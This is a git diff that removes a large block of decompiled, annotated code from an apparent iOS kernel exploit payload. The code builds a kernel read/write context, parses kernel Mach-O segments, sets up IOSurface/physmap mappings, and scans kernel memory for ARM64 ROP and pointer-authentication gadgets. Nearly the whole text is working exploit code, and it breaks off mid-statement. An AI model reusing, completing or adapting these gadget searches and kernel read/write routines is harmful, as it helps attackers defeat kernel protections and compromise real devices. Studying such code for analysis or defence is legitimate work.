diff --git a/src/payload_377bed/entry1_type0x09.m b/src/payload_377bed/entry1_type0x09.m index 434b63e..60164c7 100644 --- a/src/payload_377bed/entry1_type0x09.m +++ b/src/payload_377bed/entry1_type0x09.m @@ -1308,3976 +1308,7 @@ ssize_t __cdecl write(int __fd, const void *__buf, size_t __nbyte); #include "entry1_type0x09_dmafail_setup.inc" -//----- (000000000001972C) ---------------------------------------------------- -__int64 __fastcall validate_kaddr_range(__int64 a1, __int64 a2) -{ - if ( (a2 & 7) != 0 || (unsigned __int64)(a2 + 0x1000000000000LL) >= 0xFFFFFFFFEFFFLL ) - return 0LL; - else - return a2; -} - -//----- (000000000001974C) ---------------------------------------------------- -unsigned __int64 __fastcall check_kaddr_in_physmap(struct_krwCtx *krwCtx, unsigned __int64 vaddr) -{ - __int64 v2; // x8 - uint64_t *i; // x9 - unsigned __int64 v4; // x10 - bool v5; // zf - bool v6; // cc - - if ( vaddr + 0x1000000000000LL >= 0xFFFFFFFFEFFFLL ) - { - v2 = LODWORD(((uint32_t *)&krwCtx->someMutex)[711]); - if ( (uint32_t)v2 ) - { - for ( i = (pthread_mutex_t *)(((uint32_t *)&krwCtx->someMutex) + 758); ; i += 3 ) - { - v4 = *(i - 1); - v5 = !v4 || *i == 0; - v6 = v5 || v4 > vaddr; - if ( !v6 && *i + v4 > vaddr ) - break; - if ( !--v2 ) - return 0LL; - } - } - else - { - return 0LL; - } - } - return vaddr; -} - -//----- (00000000000197A8) ---------------------------------------------------- -sub_197A8_result macho_find_segment(SearchObj *a1, int /*unused*/ a2) -{ - // ldp x9, x8, [x0] - void *obj = a1->field_0x00; // x9: the search object - uint8_t *cursor = a1->base_ptr; // x8: current search cursor (vm address) - - // ldr x12, [x9] → data array base pointer - uint8_t *data_base = *(uint8_t **)obj; // x12 - - // Find current segment: index stored at [obj+0xc8] - // Entry i is at data_base + i*56, fields at +0x20 (start) and +0x28 (size) - uint32_t seg_idx = *(uint32_t *)((uint8_t *)obj + 0xc8); // w10 - uint8_t *seg_entry = data_base + (uint64_t)seg_idx * 56; - - uint64_t seg_start = *(uint64_t *)(seg_entry + 0x20); // ldp x11,x10,[x10+0x20] - uint64_t seg_size = *(uint64_t *)(seg_entry + 0x28); - - // Check if cursor is within current segment - if ((uint64_t)cursor - seg_start >= seg_size) { - // Current segment miss — search all segments - uint32_t seg_count = *(uint32_t *)((uint8_t *)obj + 0x8); // [x9+0x8] - if (seg_count == 0) - return (sub_197A8_result){0, 0}; - - // Walk segment array starting at data_base+0x20 - // Each entry: [base+0x20]=start, [base+0x28]=size, stride=0x38 - uint8_t *entry = data_base + 0x20; // x12 = data_base+0x28, ldp at -0x8 - uint32_t i = 0; - for (;;) { - uint64_t s_start = *(uint64_t *)(entry - 0x8); // ldp x13,x14,[x12,-0x8] - uint64_t s_size = *(uint64_t *)(entry); - - if ((uint64_t)cursor - s_start < s_size) { - // Found containing segment - *(uint32_t *)((uint8_t *)obj + 0xc8) = i; // str w11,[x9,#0xc8] - break; - } - - i++; - entry += 0x38; // next segment - - if (i == seg_count) - return (sub_197A8_result){0, 0}; - } - } - - // Optional indirection: if [obj+0x101] != 0, follow pointer at [obj+0xa8] - void *mapped_obj = obj; - if (*(uint8_t *)((uint8_t *)obj + 0x101)) { - mapped_obj = *(void **)((uint8_t *)obj + 0xa8); // ldr x9,[x9,#0xa8] - } - - // Compute offset of cursor within mapped region - // [mapped_obj+0xf0] = mapped base address - uint64_t mapped_base = *(uint64_t *)((uint8_t *)mapped_obj + 0xf0); - uint64_t offset = (uint64_t)cursor - mapped_base; // sub x8,x8,x10 - - // [mapped_obj+0xb0] = minimum valid offset (start threshold) - uint64_t min_offset = *(uint64_t *)((uint8_t *)mapped_obj + 0xb0); - if (min_offset > offset) - return (sub_197A8_result){0, 0}; - - // Check requested size fits within remaining mapped region - // a1[2] = requested size - uint64_t requested = a1->size; // ldr x1,[x0,#0x10] - - // [mapped_obj+0xb8] = mapped region size - uint64_t mapped_size = *(uint64_t *)((uint8_t *)mapped_obj + 0xb8); - uint64_t available = min_offset + mapped_size - offset; // add+sub - printf("min 0x%x map 0x%x off 0x%x ; available 0x%x requested 0x%x\n", min_offset, mapped_size, offset, available, requested); - - if (requested > available) - return (sub_197A8_result){0, 0}; - - // Return: x0=offset (relative to mapped_base), x1=requested size - return (sub_197A8_result){offset, requested}; -} - -//----- (000000000001984C) ---------------------------------------------------- -__int64 get_const_8() -{ - return 8LL; -} - -//----- (0000000000019854) ---------------------------------------------------- -__int64 __fastcall unmap_macho_image(__int64 a1) -{ - __int64 result; // x0 - uint8_t *v3; // x9 - vm_size_t v4; // x2 - vm_address_t address; // [xsp+8h] [xbp-18h] BYREF - - if ( *(uint8_t *)(a1 + 257) ) - return 0; - v3 = *(uint8_t **)(a1 + 264); - if ( !v3 ) - return 4; - if ( !*(uint64_t *)(a1 + 176) ) - return 4; - v4 = *(uint64_t *)(a1 + 184); - if ( !v4 ) - return 4; - if ( (*v3 & 2) == 0 ) - return 0; - address = *(uint64_t *)(a1 + 176); - result = vm_allocate(mach_task_self_, &address, v4, 0x4000); - if ( !(uint32_t)result ) - { - bzero( - *(void **)(a1 + 264), - ((*(int *)(a1 + 56) + *(uint64_t *)(a1 + 232) - 1LL) & (unsigned __int64)-*(uint32_t *)(a1 + 56)) / *(int *)(a1 + 56)); - return 0; - } - return result; -} - -//----- (00000000000198FC) ---------------------------------------------------- -__int64 __fastcall macho_walk_segment_by_name_impl(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4, char a5) -{ - __int64 v9; // x23 - unsigned __int64 v10; // x24 - __int64 result; // x0 - __int64 v12; // x10 - __int64 v13; // x9 - unsigned __int64 v14; // x10 - unsigned __int64 v15; // x19 - unsigned __int64 v16; // x26 - unsigned __int64 v17; // x25 - - v9 = a1; - if ( *(uint8_t *)(a1 + 257) ) - v9 = *(uint64_t *)(a1 + 168); - v10 = *(uint64_t *)(v9 + 176); - if ( v10 > a2 || a2 + a3 > *(uint64_t *)(v9 + 184) + v10 ) - return 3; - result = 0; - v12 = *(int *)(v9 + 56); - v13 = v12 + a2 + a3; - v14 = -(int)v12; - v15 = v14 & a2; - v16 = --v13 & v14; - if ( (v13 & v14) > (v14 & a2) ) - { - v17 = *(int *)(a1 + 56); - while ( (*(uint8_t *)(*(uint64_t *)(v9 + 264) + (v15 - v10) / v17) & 1) != 0 && (a5 & 1) == 0 ) - { - v15 += v17; - if ( v16 <= v15 ) - return 0; - } - if ( has_valid_krw_path(KRWCTX_FROM_RAW_FIELD(v9, 280)) - && krw_ctx_has_read_caps(KRWCTX_FROM_RAW_FIELD(v9, 280)) - && (unsigned int)get_page_size_for_kaddr(*(uint64_t *)(v9 + 280)) > *(uint32_t *)(v9 + 56) - && v16 - v15 < (unsigned int)get_page_size_for_kaddr(*(uint64_t *)(v9 + 280)) - && a4 > a3 ) - { - v16 = (*(int *)(v9 + 56) + a2 + a4 - 1) & -*(uint32_t *)(v9 + 56); - if ( v16 > v15 + (unsigned int)get_page_size_for_kaddr(*(uint64_t *)(v9 + 280)) ) - v16 = v15 + (unsigned int)get_page_size_for_kaddr(*(uint64_t *)(v9 + 280)); - } - if ( (unsigned int)krw_read_thunk( - KRWCTX_FROM_RAW_FIELD(v9, 280), - *(uint64_t *)(v9 + 224) - v10 + v15, - v16 - v15, - (void *)v15) ) - { - for ( ; v15 < v16; v15 += v17 ) - *(uint8_t *)(*(uint64_t *)(v9 + 264) + (v15 - v10) / v17) |= 1u; - result = 0; - **(uint8_t **)(v9 + 264) |= 2u; - } - else - { - return 5; - } - } - return result; -} - -//----- (0000000000019AC4) ---------------------------------------------------- -__int64 __fastcall macho_walk_segment_by_name_0(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4) -{ - return macho_walk_segment_by_name_impl(a1, a2, a3, a4, 0); -} - -//----- (0000000000019ACC) ---------------------------------------------------- -unsigned int __fastcall macho_read_u32(__int64 *a1, __int64 *a2) -{ - SearchObj v5 = {a1, a2, 4}; - unsigned int *result = (unsigned int *)macho_find_segment(&v5, 1).addr; - if ( !result ) return 0; - macho_walk_segment_by_name_impl((__int64)a1, (unsigned __int64)result, 4u, 0, 0); - return *result; -} -// 4: using guessed type int dword_4; - -//----- (0000000000019B30) ---------------------------------------------------- -unsigned __int64 __fastcall macho_read_u64(__int64 *a1, __int64 *a2) -{ - SearchObj v5 = {a1, a2, 8}; - unsigned __int64 *result = (unsigned __int64 *)macho_find_segment(&v5, 1).addr; - if ( !result ) return 0; - macho_walk_segment_by_name_impl((__int64)a1, (unsigned __int64)result, 8, 0, 0); - return *result; -} -// 8: using guessed type int dword_8; - -//----- (0000000000019B98) ---------------------------------------------------- -void __usercall macho_walk_segment_by_name(char *s2, __int64 a2, SearchObj *a3) -{ - __int64 v4; // x8 - unsigned __int64 v5; // x22 - __int64 v6; // x8 - unsigned __int64 v7; // x23 - __int128 result; // q0 - - v4 = **(uint64_t **)(a2 + 208); - v5 = v4 + 32; - v6 = *(unsigned int *)(v4 + 20); - v7 = v5 + v6; - if ( v5 >= v5 + v6 ) - { -LABEL_5: - a3->field_0x00 = 0LL; - a3->base_ptr = 0LL; - a3->size = 0LL; - } - else - { - while ( *(uint32_t *)v5 != 25 || strncmp((const char *)(v5 + 8), s2, 0x10uLL) ) - { - v5 += *(unsigned int *)(v5 + 4); - if ( v5 >= v7 ) - goto LABEL_5; - } - a3->field_0x00 = a2; - result = *(__int128 *)(v5 + 24); - *(__int128 *)&a3->base_ptr = result; - } - //return result; -} - -//----- (0000000000019C34) ---------------------------------------------------- -__n128 macho_getsectbyname(char *seg, __int64 a2, const char *sect, uint64_t *a4) -{ - __int64 v5; // x8 - unsigned __int64 v6; // x24 - __int64 v7; // x8 - unsigned __int64 v8; // x25 - __n128 result; // q0 - __int64 v13; // x26 - __n128 *v14; // x23 - - v5 = **(uint64_t **)(a2 + 208); - v6 = v5 + 32; - v7 = *(unsigned int *)(v5 + 20); - v8 = v6 + v7; - if ( v6 >= v6 + v7 ) - { -LABEL_11: - *a4 = 0; - a4[1] = 0; - a4[2] = 0; - } - else - { - while ( 1 ) - { - if ( *(uint32_t *)v6 == 25 && !strncmp((const char *)(v6 + 8), seg, 0x10u) ) - { - v13 = *(unsigned int *)(v6 + 64); - if ( (uint32_t)v13 ) - break; - } -LABEL_4: - v6 += *(unsigned int *)(v6 + 4); - if ( v6 >= v8 ) - goto LABEL_11; - } - v14 = (__n128 *)(v6 + 72); - while ( strncmp((const char *)v14, sect, 0x10u) ) - { - v14 += 5; - if ( !--v13 ) - goto LABEL_4; - } - *a4 = a2; - result = v14[2]; - *(__n128 *)(a4 + 1) = result; - } - return result; -} - -//----- (0000000000019D10) ---------------------------------------------------- -double macho_find_text_section(__int64 a1, uint64_t *a2) -{ - double result; // d0 - - *(uint64_t *)&result = macho_getsectbyname((char *)*(uint64_t *)(a1 + 272), a1, "__text", a2).n128_u64[0]; - return result; -} - -//----- (0000000000019D20) ---------------------------------------------------- -__int64 __fastcall macho_find_loadcmd_by_name(__int64 a1, char *__s2, unsigned __int64 a3) -{ - __int64 v3; // x8 - unsigned __int64 v4; // x21 - __int64 v5; // x8 - unsigned __int64 i; // x22 - __int64 v9; // x8 - unsigned int v10; // w24 - const char *v12; // x0 - unsigned __int64 v13; // x8 - size_t v14; // x2 - - v3 = **(uint64_t **)(a1 + 208); - v4 = v3 + 32; - v5 = *(unsigned int *)(v3 + 20); - for ( i = v4 + v5; v4 < i; v4 += v10 ) - { - if ( *(uint32_t *)v4 == -2147483595 ) - { - v9 = *(unsigned int *)(v4 + 24); - v10 = *(uint32_t *)(v4 + 4); - if ( (unsigned int)v9 >= 0x20 && v10 > (unsigned int)v9 ) - { - v12 = (const char *)(v4 + v9); - v13 = v10 - (unsigned int)v9; - v14 = v13 <= a3 ? v13 : a3; - if ( !strncmp(v12, __s2, v14) ) - return *(uint64_t *)(v4 + 8); - } - } - else - { - v10 = *(uint32_t *)(v4 + 4); - } - } - return 0; -} - -//----- (0000000000019DD4) ---------------------------------------------------- -double __fastcall krw_ctx_zero_fields(struct_a1 *a1, struct_krwCtx *krwCtx) -{ - double result; // d0 - - result = 0.0; - a1->oword100 = 0u; - a1->oword110 = 0u; - a1->owordE0 = 0u; - a1->owordF0 = 0u; - a1->owordC0 = 0u; - a1->owordD0 = 0u; - a1->owordA0 = 0u; - a1->owordB0 = 0u; - a1->oword80 = 0u; - a1->oword90 = 0u; - a1->oword60 = 0u; - a1->xnuMajorVersion = 0u; - a1->oword40 = 0u; - a1->oword50 = 0u; - a1->oword20 = 0u; - a1->oword30 = 0u; - a1->oword0 = 0u; - a1->oword10 = 0u; - *((uint64_t *)&a1->oword110 + 1) = KRWCTX_RAW_PTR(krwCtx); - a1->qword120 = 0LL; - return result; -} - -//----- (0000000000019E04) ---------------------------------------------------- -__int64 __fastcall free_macho_image_vm(__int64 a1) -{ - vm_address_t v1; // x1 - uint64_t *v2; // x19 - vm_size_t v3; // x2 - - v2 = (uint64_t *)(a1 + 176); - v1 = *(uint64_t *)(a1 + 176); - if ( !v1 ) - return 0; - v3 = *(uint64_t *)(a1 + 184); - if ( !v3 || vm_deallocate(mach_task_self_, v1, v3) ) - return 0; - *v2 = 0; - v2[1] = 0; - return 1; -} - -//----- (0000000000019E58) ---------------------------------------------------- -bool __fastcall map_macho_image_vm(__int64 a1) -{ - kern_return_t v2; // w8 - uint64_t result; // x0 - vm_address_t v4; // x1 - vm_size_t v5; // x2 - vm_address_t v6; // x8 - __int64 v7; // x9 - __int64 v8; // x10 - void *v9; // x0 - vm_address_t address; // [xsp+18h] [xbp-18h] BYREF - - address = 0; - v2 = vm_map(mach_task_self_, &address, *(uint64_t *)(a1 + 232), *(int *)(a1 + 56) - 1LL, 1, 0, 0, 0, 3, 3, 1u); - result = 0; - if ( !v2 ) - { - v4 = *(uint64_t *)(a1 + 176); - if ( v4 ) - { - v5 = *(uint64_t *)(a1 + 184); - if ( v5 ) - vm_deallocate(mach_task_self_, v4, v5); - } - v6 = address; - v8 = *(uint64_t *)(a1 + 224); - v7 = *(uint64_t *)(a1 + 232); - *(uint64_t *)(a1 + 176) = address; - *(uint64_t *)(a1 + 184) = v7; - *(uint64_t *)(a1 + 240) = v8 - v6; - v9 = calloc(((*(int *)(a1 + 56) + v7 - 1) & (unsigned __int64)-*(uint32_t *)(a1 + 56)) / *(int *)(a1 + 56), 1u); - *(uint64_t *)(a1 + 264) = v9; - return v9 != 0; - } - return result; -} - -//----- (0000000000019F2C) ---------------------------------------------------- -bool __fastcall alloc_kernel_offset_table(__int64 a1, __int64 a2) -{ - unsigned __int64 v5; // x21 - uint32_t *v6; // x22 - char v7; // w8 - __int64 v8; // x8 - char *v9; // x21 - char *v10; // x22 - __int64 v11; // x23 - char *v12; // x24 - __int64 v13; // x8 - uint64_t *v14; // x9 - uint32_t v15[8]; // [xsp+0h] [xbp-50h] BYREF - - *(uint64_t *)(a1 + 208) = (uint64_t)calloc(0x48u, 1u); - if ( *(uint64_t *)(a1 + 208) ) - { - if ( krw_read_thunk(KRWCTX_FROM_RAW_FIELD(a1, 280), a2, 32, v15) ) - { - v5 = v15[5] + 32LL; - v6 = calloc(v5, 1u); - if ( v6 ) - { - if ( krw_read_thunk(KRWCTX_FROM_RAW_FIELD(a1, 280), a2, v5, v6) ) - { - **(uint64_t **)(a1 + 208) = v6; - if ( *v6 == -17958194 ) - { - v7 = 4; - } - else - { - if ( *v6 != -17958193 ) - return false; - v7 = 8; - } - *(uint8_t *)(a1 + 52) = v7; - v8 = (unsigned int)v6[5]; - if ( v5 < (unsigned int)(v8 + 32) ) - return false; - v9 = (char *)(v6 + 8); - v10 = (char *)v6 + v8 + 32; - if ( v9 >= v10 ) - { - return true; - } - else - { - v11 = 0; - v12 = v9; - do - { - if ( *(uint32_t *)v12 == 25 && !strcmp(v12 + 8, "__TEXT") ) - v11 = a2 - *((uint64_t *)v12 + 3); - v12 += *((unsigned int *)v12 + 1); - } - while ( v12 < v10 ); - if ( v11 && v9 < v10 ) - { - do - { - if ( *(uint32_t *)v9 == 25 ) - { - v13 = *((unsigned int *)v9 + 16); - if ( (uint32_t)v13 ) - { - v14 = v9 + 104; - do - { - *v14 += v11; - v14 += 10; - --v13; - } - while ( v13 ); - } - *((uint64_t *)v9 + 3) += v11; - } - v9 += *((unsigned int *)v9 + 1); - } - while ( v9 < v10 ); - } - return true; - } - } - } - } - } - return false; -} -// 0: using guessed type int def_3E8F0; - -//----- (000000000001A0D4) ---------------------------------------------------- -bool __fastcall iosurface_physmap_setup_bool(__int64 someStruct, int a2, __int64 a3, unsigned int a4) -{ - return iosurface_physmap_setup(someStruct, a2, a3, a4); -} - -//----- (000000000001A0F4) ---------------------------------------------------- -bool __fastcall iosurface_physmap_setup(__int64 someStruct, int a2, __int64 a3, unsigned int a4) -{ - bool result; // w0 - __int64 v9; // x23 - int *v10; // x9 - __int64 v11; // x24 - unsigned __int64 v12; // x10 - unsigned __int64 v13; // x11 - unsigned int v16; // w8 - unsigned __int64 v17; // x14 - int v18; // w16 - unsigned int v19; // w15 - unsigned __int64 v20; // x25 - unsigned __int64 v21; // x24 - __int64 v22; // x22 - __int128 v23; // q0 - __int128 v24; // q0 - __int64 v25; // x8 - int8x16_t *v26; // x8 - int8x16_t *v27; // x27 - __int64 v28; // x8 - int8x16_t *v29; // x24 - unsigned __int64 v30; // x26 - int v31; // w22 - int v32; // w23 - unsigned __int64 v33; // x28 - __int64 v34; // x8 - unsigned __int64 v35; // x8 - unsigned __int64 v36; // x8 - __int64 v38; // x8 - int8x16_t v39; // q1 - unsigned __int64 v40; // x8 - unsigned __int64 v41; // x9 - bool v42; // cf - unsigned __int64 v43; // x9 - void *segments; // x0 - __int64 v44; // [xsp+0h] [xbp-70h] - uint64_t v45[3]; // [xsp+8h] [xbp-68h] BYREF - - result = alloc_kernel_offset_table(someStruct, a3); - if ( !result ) - return result; - *(uint32_t *)(someStruct + 216) = a2; - *(uint8_t *)(someStruct + 256) = 1; - v9 = **(uint64_t **)(someStruct + 208); - v10 = (int *)(v9 + 32); - v11 = *(unsigned int *)(v9 + 20); - v12 = v9 + 32 + v11; - v13 = v12 - 8; - if ( v9 + 32 >= v12 || v9 + 40 > v12 || (unsigned __int64)v10 > v13 ) - return 0; - v16 = 0; - do - { - v17 = (unsigned int)v10[1]; - if ( (unsigned int)v17 < 8 || v12 - (unsigned __int64)v10 < v17 ) - break; - v18 = *v10; - v19 = 24; - if ( *v10 <= 10 ) - { - switch ( v18 ) - { - case -2147483617: - goto LABEL_26; - case -2147483614: -LABEL_24: - v19 = 48; - goto LABEL_26; - case 2: - goto LABEL_26; - } - } - else if ( v18 > 24 ) - { - if ( v18 == 34 ) - goto LABEL_24; - if ( v18 == 25 ) - { - ++v16; - v19 = 72; - goto LABEL_26; - } - } - else - { - if ( v18 == 11 ) - { - v19 = 80; -LABEL_26: - if ( (unsigned int)v17 < v19 ) - break; - goto LABEL_27; - } - if ( v18 == 13 ) - goto LABEL_26; - } -LABEL_27: - v10 = (int *)((char *)v10 + v17); - } - while ( (unsigned __int64)v10 < v12 && (unsigned __int64)(v10 + 2) <= v12 && (unsigned __int64)v10 <= v13 ); - if ( !v16 ) - return 0; - *(uint32_t *)(someStruct + 8) = v16; - segments = malloc(56LL * v16); - *(uint64_t *)someStruct = (uint64_t)segments; - if ( !segments ) - return false; - *(uint64_t *)(someStruct + 272) = "__TEXT"; - v20 = v9 + 32; - v21 = v9 + 32 + v11; - if ( v9 + 32 < v21 ) - { - v22 = (__int64)segments; - do - { - if ( *(uint32_t *)v20 == 25 ) - { - if ( *(unsigned int *)(v20 + 64) > ((unsigned __int64)*(unsigned int *)(v20 + 4) - 72) / 0x50 ) - return 0; - if ( !strcmp((const char *)(v20 + 8), "__TEXT_EXEC") ) - *(uint64_t *)(someStruct + 272) = "__TEXT_EXEC"; - v23 = *(__int128 *)(v20 + 40); - *(uint64_t *)v22 = someStruct; - *(__int128 *)(v22 + 8) = v23; - v24 = *(__int128 *)(v20 + 24); - *(uint64_t *)(v22 + 24) = someStruct; - *(__int128 *)(v22 + 32) = v24; - *(uint64_t *)(v22 + 48) = v20; - v22 += 56; - } - v20 += *(unsigned int *)(v20 + 4); - } - while ( v20 < v21 ); - v9 = **(uint64_t **)(someStruct + 208); - } - *(int32x2_t *)(someStruct + 40) = vrev64_s32(*(int32x2_t *)(v9 + 4)); - *(uint32_t *)(someStruct + 48) = *(uint32_t *)(v9 + 24); - if ( (a4 & 0x100) != 0 ) - { - macho_getsectbyname("__TEXT", someStruct, "__thread_starts", v45); - if ( v45[2] ) - *(uint8_t *)(someStruct + 156) = 1; - if ( (a4 & 0x400) != 0 ) - { - if ( *(uint64_t *)someStruct ) - { - v25 = *(uint64_t *)(*(uint64_t *)someStruct + 8LL); - if ( v25 ) - *(uint64_t *)(someStruct + 160) = a3 - v25; - } - } - } - if ( (a4 & 0x40) != 0 ) - return true; - v26 = **(int8x16_t ***)(someStruct + 208); - v27 = v26 + 2; - v28 = v26[1].u32[1]; - v29 = (int8x16_t *)((char *)v27 + v28); - if ( v27 >= (int8x16_t *)&v27->i8[v28] ) - return 0; - v30 = 0; - v31 = 0; - v44 = *(int *)(someStruct + 56) - 1LL; - v32 = a4 & 0x580; - v33 = a3; - while ( 2 ) - { - if ( v27->i32[0] == 25 ) - { - if ( !strcmp(&v27->i8[8], "__TEXT") ) - { - *(uint64_t *)(someStruct + 248) = a3 - v27[1].i64[1]; - if ( (a4 & 0x100) != 0 ) - goto LABEL_54; - } - else if ( (a4 & 0x100) != 0 ) - { -LABEL_54: - if ( !strcmp(&v27->i8[8], "__KLD") ) - v31 = 1; - } - if ( v32 != 384 ) - { - v34 = v27[2].i64[0]; - if ( v34 ) - { - v35 = v27[1].i64[1] + v34; - if ( v35 > v30 ) - v30 = v35; - } - } - if ( (a4 & 0x400) != 0 && v27[2].i64[0] ) - { - v36 = v27[1].u64[1]; - if ( v36 < v33 && v36 != 0 ) - v33 = v27[1].u64[1]; - } - if ( !strcmp(&v27->i8[8], "__LINKEDIT") ) - { - v38 = v27[1].i64[1]; - v39 = vextq_s8(v27[2], v27[2], 8u); - if ( v32 == 384 ) - v30 = v27[2].i64[0] + v38; - *(uint64_t *)(someStruct + 16) = v38; - *(int8x16_t *)(someStruct + 24) = v39; - } - } - v27 = (int8x16_t *)((char *)v27 + (unsigned int)v27->i32[1]); - if ( v27 < v29 ) - continue; - break; - } - result = false; - if ( ((v31 == 0) & (a4 >> 8)) == 0 && v30 ) - { - if ( (~a4 & 0x500) == 0 && *(uint64_t *)(someStruct + 160) ) - v33 = *(uint64_t *)(someStruct + 160); - v40 = v33 & ~v44; - if ( v33 == a3 ) - v40 = a3; - v41 = (v30 + v44) & ~v44; - v42 = v41 >= v40; - v43 = v41 - v40; - if ( v42 ) - { - *(uint64_t *)(someStruct + 224) = v40; - *(uint64_t *)(someStruct + 232) = v43; - return map_macho_image_vm(someStruct) != 0; - } - else - { - return 0; - } - } - return result; -} -// 0: using guessed type int def_3E8F0; - -//----- (000000000001A4FC) ---------------------------------------------------- -bool __fastcall iosurface_physmap_setup_alt(__int64 notctx, int a2, __int64 a3, int a4) -{ - return iosurface_physmap_setup(notctx, a2, a3, a4 | 0x100u); -} - -//----- (000000000001A520) ---------------------------------------------------- -void __fastcall free_kernel_image_resources(__int64 a1) -{ - void **v2; // x0 - void *v3; // x0 - - free_macho_image_vm(a1); - v2 = *(void ***)(a1 + 208); - if ( v2 ) - { - if ( *v2 ) - { - free(*v2); - v2 = *(void ***)(a1 + 208); - *v2 = 0; - } - free(v2); - *(uint64_t *)(a1 + 208) = 0; - } - if ( *(uint64_t *)a1 ) - { - free(*(void **)a1); - *(uint64_t *)a1 = 0; - } - v3 = *(void **)(a1 + 264); - if ( v3 ) - { - free(v3); - *(uint64_t *)(a1 + 264) = 0; - } -} - -//----- (000000000001A58C) ---------------------------------------------------- -__int64 __fastcall krw_ctx_setup_physmap(__int64 a1, uint64_t **a2, __int64 a3) -{ - unsigned __int64 v6; // x25 - __int64 result; // x0 - unsigned __int64 v8; // x0 - int v9; // w27 - unsigned __int64 v10; // x0 - struct_krwCtx *v11; // x22 - __int64 v12; // x0 - unsigned __int64 v13; // x22 - __int64 v14; // x28 - __int64 v15; // x23 - int v16; // w0 - struct_krwCtx *v18; // x22 - __int64 v19; // x0 - unsigned __int64 v20; // x21 - __int64 v21; // x23 - __int64 v22; // x0 - __int64 v23; // x22 - __int64 v24; // x23 - int v25; // w24 - __int64 v26; // x21 - unsigned int v27; // w23 - unsigned __int64 v28; // x0 - unsigned int v29; // w21 - unsigned int v30; // w8 - struct physmap_gadget_table *gadgets = (struct physmap_gadget_table *)a1; - static const uint32_t exceptionReturnWords[11] = { - 0xBAA20010, 0x2E4A0020, 0x3A870028, 0xFFFC0038, - 0x56350048, 0xBE600050, 0x32E50058, 0x7F140420, - 0xEA140568, 0xEA2305C0, 0x2BCB05C8 - }; - static const uint32_t exact2Mask[2] = { 0xFFFFFFFF, 0xFFFFFFFF }; - static const uint32_t exact3Mask[3] = { 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF }; - static const uint32_t exact4Mask[4] = { 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF }; - static const uint32_t ldrX0RetWords[2] = { 0xF9402400, 0xD65F03C0 }; - static const uint32_t movX15BrX17Words[4] = { 0xD280060F, 0x14000000, 0xD280000F, 0x14000000 }; - static const uint32_t movX15BrX21Words[4] = { 0xD28006AF, 0x14000000, 0xD280000F, 0x14000000 }; - static const uint32_t movX15BranchMasks[4] = { 0xFFFFFFFF, 0xFC000000, 0xFFE0001F, 0xFC000000 }; - static const uint32_t mrsSpselRetWords[2] = { 0xD508831F, 0xD65F03C0 }; - static const uint32_t strPacibspLegacyWords[2] = { 0xF9000041, 0xD65F03C0 }; - static const uint32_t strPacibspModernWords[2] = { 0xF9000022, 0xD65F03C0 }; - static const uint32_t movX0RetWords[3] = { 0xAA0003E8, 0x52820002, 0x72A003A2 }; - static const uint32_t movX0X19RetWords[2] = { 0xB2400000, 0x17000000 }; - static const uint32_t movX0X19RetMasks[2] = { 0xFFFFFFFF, 0xFF000000 }; - static const uint32_t adrDataRefWords[4] = { 0xD53B4222, 0xD50343DF, 0xD5087800, 0xD5033FDF }; - static const uint32_t jumpTargetWords[4] = { 0x00010004, 0xDEADDAB7, 0x00000001, 0x00000000 }; - static const uint32_t vmPageArrayWords[5] = { 0xD34EFD08, 0x90000000, 0xF9400000, 0x8B284528, 0x78E13108 }; - static const uint32_t vmPageArrayMasks[5] = { 0xFFFFFFFF, 0x9F000000, 0xFFC00000, 0xFFFFFFFF, 0xFFFFFFFF }; - - v6 = *(uint64_t *)algn_480E0; - if ( strstr((const char *)qword_480D8, "T8020") ) - return 5; - memcpy(gadgets->exceptionReturnWords, exceptionReturnWords, sizeof(gadgets->exceptionReturnWords)); - gadgets->ldrX0Ret = LOOKUP_KOBJ_PATTERN(a2, ldrX0RetWords, exact2Mask, 2); - gadgets->movX15BrX17 = LOOKUP_KOBJ_PATTERN(a2, movX15BrX17Words, movX15BranchMasks, 4); - gadgets->movX15BrX21 = LOOKUP_KOBJ_PATTERN(a2, movX15BrX21Words, movX15BranchMasks, 4); - gadgets->mrsSpselRet = LOOKUP_KOBJ_PATTERN(a2, mrsSpselRetWords, exact2Mask, 2); - if ( v6 < 0x918C5A83400LL ) - { - v9 = -1459420545; - v8 = LOOKUP_KOBJ_PATTERN(a2, strPacibspLegacyWords, exact2Mask, 2); - } - else - { - v8 = LOOKUP_KOBJ_PATTERN(a2, strPacibspModernWords, exact2Mask, 2); - v9 = -1459420449; - } - gadgets->strPacibspX1Ret = v8; - gadgets->pacizaStrX2Ret = LOOKUP_KOBJ_PATTERN(a2, movX0RetWords, exact3Mask, 3); - gadgets->movX0Ret = LOOKUP_KOBJ_PATTERN(a2, movX0X19RetWords, movX0X19RetMasks, 2) + 8; - gadgets->movX0X19Ret = LOOKUP_KOBJ_PATTERN(a2, adrDataRefWords, exact4Mask, 4); - v10 = kobj_snapshot_pattern_search_via_ctx((__int64)a2, (__int64)jumpTargetWords, (__int64)exact4Mask, 4u); - gadgets->jumpTarget = v10 - 8; - v11 = KRWCTX_FROM_RAW_FIELD(a3, 32); - v12 = kread_u64_value(a3, v10 + 16); - v13 = krw_xpac_vaddr_2(v11, v12); - v14 = 0; - while ( 1 ) - { - v15 = read_u32_from_kobj_snapshot((__int64)a2, *a2, v13 + v14); - v16 = read_u32_from_kobj_snapshot((__int64)a2, *a2, v13 + v14 + 8); - if ( (v15 & 0xFC000000) == 0x94000000 && v16 == v9 ) - break; - v14 += 4; - if ( (uint32_t)v14 == 4096 ) - goto LABEL_14; - } - *(uint64_t *)(a1 + 112) = v13 + (v15 << 38 >> 36) + v14; -LABEL_14: - v18 = KRWCTX_FROM_RAW_FIELD(a3, 32); - v19 = kread_u64_value(a3, gadgets->jumpTarget + 24LL); - v20 = krw_xpac_vaddr_2(v18, v19); - v21 = 0; - while ( 1 ) - { - v22 = read_u32_from_kobj_snapshot((__int64)a2, *a2, v20 + v21); - if ( (v22 & 0xFC000000) == 0x94000000 && v20 + v21 + (v22 << 38 >> 36) == gadgets->adrDataRef ) - break; - v21 += 4; - if ( (uint32_t)v21 == 768 ) - { - v23 = 0; - goto LABEL_20; - } - } - v23 = v20 + v21; -LABEL_20: - v24 = 0; - if ( v6 <= 0x918C5A833FFLL ) - v25 = -117434784; - else - v25 = -117434688; - while ( 1 ) - { - v26 = v23 + v24; - if ( (unsigned int)read_u32_from_kobj_snapshot((__int64)a2, 